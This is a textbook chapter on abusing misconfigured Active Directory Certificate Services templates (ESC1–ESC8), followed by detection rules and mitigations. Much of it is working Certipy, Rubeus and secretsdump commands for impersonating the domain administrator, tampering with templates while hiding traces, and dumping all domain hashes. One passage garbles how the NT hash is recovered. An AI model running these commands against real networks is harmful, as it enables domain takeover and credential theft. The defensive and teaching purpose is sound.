Chapter 151

Active Directory Certificate Services Abuse

AD CS (Active Directory Certificate Services) is the most undermonitored domain component in most enterprises. Misconfigured certificate templates can be abused to impersonate any domain user — including Domain Admins — without ever touching LSASS or cracking a hash. This chapter covers the ESC1–ESC8 misconfiguration classes from SpecterOps' "Certified Pre-Owned" research, the Certify/Certipy exploitation workflow, and how to turn a certificate into a Kerberos TGT and NT hash.

Scenario

You're authenticated as a low-privileged domain user. Certipy finds a certificate template (UserAuthentication) that grants Authenticated Users enrollment rights and has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set — ESC1. You request a certificate specifying administrator@corp.local as the Subject Alternative Name. The CA issues it without checking whether you are that user. You now hold a certificate that authenticates as the domain administrator. You use PKINIT to get a TGT, then NT hash via U2U — full DA access, no LSASS, no relay.

ADCS Architecture

Active Directory Certificate Services components: Enterprise CA: issues certificates, stores issued cert DB Certificate Templates: AD objects defining allowed cert attributes, EKU, permissions Enrollment endpoints: DCOM (ICertRequest): certsrv.exe RPC — default Web Enrollment: http://ca/certsrv/ — HTTP/HTTPS, NTLM or Kerberos auth CEP/CES: HTTPS enrollment proxy NDES: network device enrollment (SCEP) Key template attributes for attackers: msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1): Enrollee can set Subject/SAN in the CSR → impersonation if enabled + wrong EKU msPKI-Enrollment-Flag: CT_FLAG_NO_SECURITY_EXTENSION (0x80000): Issued cert lacks szOID_NTDS_CA_SECURITY_EXT → PA-PAC-REQUEST bypass pKIExtendedKeyUsage: Client Authentication (1.3.6.1.5.5.7.3.2): cert can be used for Kerberos PKINIT Smart Card Logon (1.3.6.1.4.1.311.20.2.2): cert can be used for domain logon Enrollment permissions: Certificate-Enrollment right granted to Authenticated Users → any domain user can enroll

ESC Misconfiguration Table

ESCMisconfigurationPrivilege RequiredImpact
ESC1CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + low-priv enrollmentDomain UserCert for any user → DA via PKINIT
ESC2Any-Purpose EKU or no EKU + enrollee supplies subjectDomain UserSame as ESC1 plus code signing
ESC3Enrollment Agent template + unrestricted enrollment agent permissionsDomain UserRequest certs on behalf of any user
ESC4Vulnerable template ACL (WriteDACL/WriteProperty on template)Low-priv (ACL)Modify template to ESC1 conditions
ESC5Vulnerable PKI object ACL (CA object, NTAuthCertificates)Low-priv (ACL)Add rogue CA or modify CA permissions
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CADomain UserAny template allows enrollee-supplied SAN
ESC7Vulnerable CA permissions (ManageCA or ManageCertificates)CA ManagerApprove pending certs, enable ESC6
ESC8HTTP enrollment endpoint without signing → NTLM relayNetwork positionRelay DC auth → DC cert → DA

ESC1 — Exploiting Enrollee-Supplied SAN

# Step 1: Enumerate vulnerable templates with Certipy:
certipy find -u lowprivuser@corp.local -p 'Password1!' -dc-ip 10.10.5.10
# Look for: [!] Vulnerable: ESC1 in output, or manually check:
#   Enrollment Rights: Domain Users (or Authenticated Users)
#   msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
#   pKIExtendedKeyUsage: Client Authentication

# Step 2: Request certificate for administrator with spoofed SAN:
certipy req \
    -u lowprivuser@corp.local \
    -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -ca corp-CA \
    -template UserAuthentication \
    -upn administrator@corp.local   # ← SAN override — the ESC1 abuse

# Output: saves administrator.pfx (certificate + private key)

# Step 3: Use certificate to get TGT:
certipy auth \
    -pfx administrator.pfx \
    -dc-ip 10.10.5.10
# Output: administrator.ccache (Kerberos TGT) + NT hash via PKINIT/U2U

# Step 4: Use NT hash directly:
secretsdump.py -hashes :<NT_hash> administrator@dc01.corp.local

ESC4 — Modify Vulnerable Template to Create ESC1

# If low-priv user has WriteDACL or WriteProperty on a template object in AD:
# 1. Grant yourself Certificate-Enrollment and GenericAll on the template
# 2. Modify the template: set ENROLLEE_SUPPLIES_SUBJECT flag
# 3. Add Client Authentication EKU
# 4. Exploit as ESC1
# 5. Restore original template after exploitation to reduce forensic footprint

# Certipy ESC4 one-shot:
certipy template \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -template VulnerableTemplate \
    -save-old          # saves original config for later restoration
# (certipy automatically sets ENROLLEE_SUPPLIES_SUBJECT + Client Auth)

certipy req \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 -ca corp-CA \
    -template VulnerableTemplate \
    -upn administrator@corp.local

# Restore:
certipy template \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -template VulnerableTemplate \
    -configuration VulnerableTemplate.json   # the saved original

ESC8 — NTLM Relay to Web Enrollment

# ESC8 covered in depth in Chapter 149 (NTLM Relay).
# Here: the certificate side — what to do with the issued DC certificate.

# After ntlmrelayx --adcs produces base64 PFX:
# 1. Decode and save:
echo -n "<base64_pfx>" | base64 -d > dc01.pfx

# 2. Request TGT for DC machine account:
certipy auth -pfx dc01.pfx -dc-ip 10.10.5.10
# or with Rubeus:
Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /password:'' /ptt

# 3. DCSync with machine account TGT:
secretsdump.py -k -no-pass DC01.corp.local
# → dumps all domain hashes

Certificate → TGT → NT Hash (PKINIT + U2U)

Certificate-based authentication chain: 1. PKINIT AS-REQ: Client sends AS-REQ with PA-PK-AS-REQ: ← certificate (proves identity without password) ← signature over request data (proves private key possession) KDC verifies certificate chain → issues TGT 2. TGT contains encrypted_pa_data with: PA-PK-AS-REP → KDC certificate + encrypted session key Client decrypts session key using their private key 3. PKINIT-derived session key is derived from: HMAC(Kerberos-session-key, user-NT-hash || 0x00) → This allows offline derivation of NT hash from TGT session key! 4. Rubeus "getnthash" / certipy "auth" performs: - Get TGT via PKINIT - Request U2U service ticket (user-to-user) for themselves - The U2U TGS-REP's enc-part is encrypted with the session key - Decrypt enc-part → extract AS-REP EncryptionKey → derive NT hash Result: NT hash from certificate, without ever touching LSASS This is the full ESC1 → DA path: Low-priv cred → CA cert request → PFX → PKINIT TGT → NT hash → PTH / DCSync

Detection Engineering

title: ADCS ESC1 — Certificate Issued with Non-Owned SAN
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4887           # Certificate Services — certificate issued
    RequestAttributes|contains: 'SAN:'
  filter_self:
    # RequesterName should match the SAN UPN — if they differ, it's ESC1 abuse
    SubjectUserName|contains: 'administrator'   # tune for your environment
  condition: selection AND NOT filter_self
level: high
tags: [attack.privilege_escalation, T1649]

title: ADCS — Certificate Enrollment for Privileged Account by Low-Privilege User
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4886           # Certificate Services — certificate request received
    RequestedSubjectName|contains:
      - 'Administrator'
      - 'krbtgt'
      - 'DC01$'
  condition: selection
level: high

-- MDE KQL: PKINIT auth (cert-based TGT) for privileged account from workstation
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "Kerberos"
| where AccountName in~ ("administrator", "krbtgt")
| where DeviceType == "Workstation"
| project Timestamp, DeviceName, AccountName, RemoteDeviceName,
          RemoteIP, AdditionalFields

Q&A

How does an organization enumerate all vulnerable ADCS templates before an attacker does, and which mitigations are actually effective?

The two primary tools for defensive ADCS enumeration are Certify (C# by SpecterOps, requires domain auth) and Certipy (Python, also requires domain auth). Both query the CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local container via LDAP and read each template's attribute set. Run certipy find -vulnerable to get a summary of all templates matching known ESC conditions. This should be run from a security team workstation regularly — monthly at minimum — and alerts should fire when any template's msPKI-Certificate-Name-Flag or enrollment rights change (AD object modification events on the CN=Certificate Templates container).

Mitigations that are actually effective: (1) Audit and remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from any template that also has a Client Authentication EKU and low-privilege enrollment rights. This flag is almost never needed for legitimate use — it exists for specific S/MIME scenarios. (2) Restrict enrollment rights to specific groups rather than Authenticated Users or Domain Users. Most users do not need to enroll certificates; create explicit enrollment groups. (3) Enable CA audit logging: Event 4886 (request received) and 4887 (certificate issued) should be shipped to SIEM. These events include the requester identity and the requested subject name, making ESC1 abuse trivially visible if alert rules exist. (4) Enable the issuance policy flag CT_FLAG_NO_SECURITY_EXTENSION = 0 (i.e., do not set this flag) — this ensures issued certificates include the security extension that ties the certificate to the requestor's SID, breaking some ESC techniques. (5) Disable web enrollment (HTTP certsrv) if not needed — eliminates ESC8 relay. Microsoft also released the StrongCertificateBindingEnforcement registry key (KB5014754) which tightens certificate-to-account binding — deploying this in Full Enforcement mode breaks ESC1 abuse against patched DCs.